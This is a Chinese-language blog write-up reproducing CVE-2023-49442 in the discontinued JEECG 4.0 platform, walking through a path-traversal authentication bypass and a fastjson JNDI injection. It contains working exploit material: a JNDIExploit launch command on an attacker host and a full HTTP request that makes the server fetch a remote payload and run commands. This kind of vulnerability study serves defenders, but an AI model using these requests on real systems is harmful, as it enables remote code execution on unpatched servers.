首页 > 其他分享 >CVE-2023-49442 利用分析

CVE-2023-49442 利用分析

时间:2024-03-11 23:33:23浏览次数:30  
标签:java 接口 漏洞 2023 49442 org CVE com jeecg

1. 漏洞介绍

JEECG(J2EE Code Generation)是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于/api接口鉴权时未过滤路径遍历,攻击者可构造包含 ../的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest接口进行jndi注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为:https://gitee.com/jeecg/jeecg

2. 漏洞流程图分析

image-20240218182545994

3. 环境搭建

由于版本比较老,是19年8月的项目,我就直接按照官方文档进行搭建了,期间我尝试使用IDEA+Maven搭建,但是始终飘红报错,于是老老实实地按照官方文档使用eclipse+Maven环境搭建,我的本地配置如下:

官方文档写的比较详细我就不再赘述了:http://idoc.jeecg.com/1275933

  • 最新版eclipse

  • apache-maven-3.1.1-bin

  • JDK1.8_102(这里有个坑就是jdk1.8不能与tomcat6兼容,我们运行时候要使用tomcat7:run的命令)

  • Mysql5.7

  • Kali虚拟机(充当vps的功能)

4. 漏洞详情分析

由于这个项目已经是19年更新的了,我们去查看使用的fastjson版本发现是1.2.31,是属于存在漏洞的版本。

image-20240218140437413

感觉Eclipse审计起来不太方便,我使用IDEA来代替使用来审计。

现在我们已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。

在审计Fastjson漏洞的时候我们着重关注parseObjectparse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找:

image-20240218141505196

发现调用了JSONObject.parseObject(result),发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)

然后继续寻找在哪里调用了这两个函数:

同样的方法,发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数:

    /**
     * 常用示例Demo:接口测试
     * @param request
     * @param response
     * @return AjaxJson
     */
    @RequestMapping(params = "interfaceTest")
    @ResponseBody
    public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
             AjaxJson j=new AjaxJson();
         try {
             String serverUrl = request.getParameter("serverUrl");//请求的地址
             String requestBody = request.getParameter("requestBody");//请求的参数
             String requestMethod = request.getParameter("requestMethod");//请求的方式
                 if(requestMethod.equals("POST")){
                     if(requestBody !=""){
                         logger.info("----请求接口开始-----");
                         JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
                         logger.info("----请求接口结束-----"+sendPost);
                         j.setSuccess(true);
                         j.setObj(sendPost.toJSONString());
                     }else{
                         j.setSuccess(false);
                         j.setObj("请填写请求参数");
                     }
                     
                 }
                 if(requestMethod.equals("GET")){
                      logger.info("----请求接口开始-----");
                      JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
                      logger.info("----请求接口结束-----"+sendGet.toJSONString());
                      j.setSuccess(true);
                      j.setObj(sendGet);
                 }
        } catch (Exception e) {
            j.setSuccess(false);
            j.setObj("服务器请求失败");
            e.printStackTrace();
        }
        return j;
    }

这段代码接受三个参数:serverUrlrequestBodyrequestMethod。然后根据requestMethod的值决定调用不同的方法:HttpRequest.sendPost 或 HttpRequest.sendGet

我们直接发包访问该接口会鉴权被检测到没有登录,直接302跳转,我们得想办法bypass

image-20240218142440207

然后我们根据漏洞简介定位/api未鉴权接口代码:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java

image-20240218172256215

也就是说对于以 /api/ 开头的请求路径,即使用户未登录,也会被允许访问,不会被拦截器拦截。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false,这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass

image-20240218173310212

比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。

image-20240218173450039

然后就是针对fastjson1.2.31版本的漏洞利用了,这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT

利用方法就是先在我们的Kali虚拟机(vps作用)上开启监听:

这里因为我的虚拟机上的java版本过高,Java 9及以上版本引入了模块化系统,其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包,因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED来向模块java.xml添加导出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime包能够被未命名模块(ALL-UNNAMED)访问。

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131

image-20240218173929316

然后用python公开一个poc.txt

image-20240218174239370

然后直接调用该接口使用下面的Poc即可:

POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoami
​
serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET

image-20240218180819983

5. 总结

一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了,后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松,主要是老版本的环境Debug问题,通过本漏洞的复现学习,对fastjson漏洞alwaysUseFullPath绕过鉴权漏洞有了更多的体会。

更多网安技能的在线实操练习,请点击这里>>

  

标签:java,接口,漏洞,2023,49442,org,CVE,com,jeecg
From: https://www.cnblogs.com/hetianlab/p/18067365

相关文章

  • IntelliJ IDEA 2023.3.4 最新专业版安装
    IntelliJIDEA领先的Java和KotlinIDEIDE使开发成为更高效、更愉快的体验IntelliJIDEA的新功能IntelliJIDEA2023.3的发布标志着AIAssistant的持续发展,它现已超越技术预览阶段,并具有许多令人兴奋的改进。在其他领域,该版本包括对最新Java21功能的全面支持,引入了......
  • 蓝帽杯2023web-关于侧信道
    复现完2022年那个fastjson,本来想看看2023还有没有java能学,发现是一个php反序列化,但是这个php有说法的,因为用到了我从来没有见过的侧信道知识。直接看源码吧,一目了然的:<?phpclassSaferman{public$check=True;publicfunction__destruct(){if($this->check......
  • 2023年4月至2024年3月视频小结
    Learningneverstops,sharingneverends.SinceApril2023,onethingIhavebeendoingisansweringquestionsonlineandmakingrepresentativequestionsintovideosandpostingthemonDouyin(DouyinID:1175420452)andWeChatVideo(VideoID:sphuXyqOUF......
  • CCPC Final2023 游记
    Day2024-03-11因为担心机票在日程临近的时候会变贵,于是打算提前订酒店。成功订到了比赛场地旁边的酒店,看了携程上的样板图,实在是赢麻了。打算周五早点去周二回天津,之前有一个想法是直接一气在川渝过完清明。但是考虑到周二晚上有组会,周四晚上可能有小组会,而且上一个周四是高代......
  • CSP2023 游记
    CSP2023游记Day0(10.20)上午whk没啥说的下午请假润去九江,住了一个离考场几百米的酒店,一层几乎全是OIerstOdalaoOrz晚上去酒店旁边的万达吃了个饭,然后去考场转了一圈凌晨,睡不着,根本睡不着Day1(10.21)上午6:30起床6:50吃饭7:30出发去考场8:00进考场面基试机......
  • 2023 CSP-S游记
    DAY-3~-2请假啦真爽,直接起洞上午模拟赛,就\(A\)了个\(T1\),\(T2\)炸了我好像就会AT1,真的是啊啊啊看好多人\(200+\),好慌啊下午讲题摸鱼DAY-1MD教练带高一去\(ZZ\)了说:初三的小朋友们不用集训力(捏mm地于是上了一天课......晚上背了几个模板就睡了DAY0上午8:30出......
  • 2023-2024 赛季赛中总结
    CSP2023与NOIP2023比赛过程顺利,主要原因在于题目过于简单。百度之星2023决赛最后两道题目未能做出,其实从那时起就开始有大赛中档题卡壳的迹象。至今未能补题,暂时不清楚未做出原因。PKUWC2024第一天第二题没过,考场上已经想出了大体思路,但思考的过程中走了很多回头路,做了很......
  • CCPC2023-Shenzhen
    \[\LARGE\textrm{ProblemA.AGoodProblem}\]\(a_i\in[0,n]\)分治,考虑做值域为\([L,R)\)的一部分,保证初始情况下所有数都是\(L\),然后把所有值域在\([mid,R)\)的数抬到\(mid\),再做分成的两部分。\[\LARGE\textrm{ProblemF.Gift}\]基环树,枚举每一条环上的边......
  • 大连市2023中考游记
    谨以此文,致敬,我至今最后的辉煌注:本文的“中考”是指自初三以来的日子Day-1145142022年9月,还未解封,刚上初三,就上了1个月的网课,很多变数,记得因为爷爷来,所以就一直在姥爷家住了一个月。奥利也玩野了,从此住在姥爷家(有亲近大自然的机会确实不错)然后就是正常的学校学习,初三了,并未感......
  • HNOI2023
    Day1开把写了A的\(k=0\),然后想\(n=1\)去了,想了大概一个半小时,就去开BC了。看到C就把C弃了想B,然后也是写了一点性质分。事实证明没几个对的,爆搜还炸了。写完之后继续想了一下\(n=0\),然后写了个蜜汁二分,发现不对。此时意识到了这个东西应该是一个单峰函数,然后并没......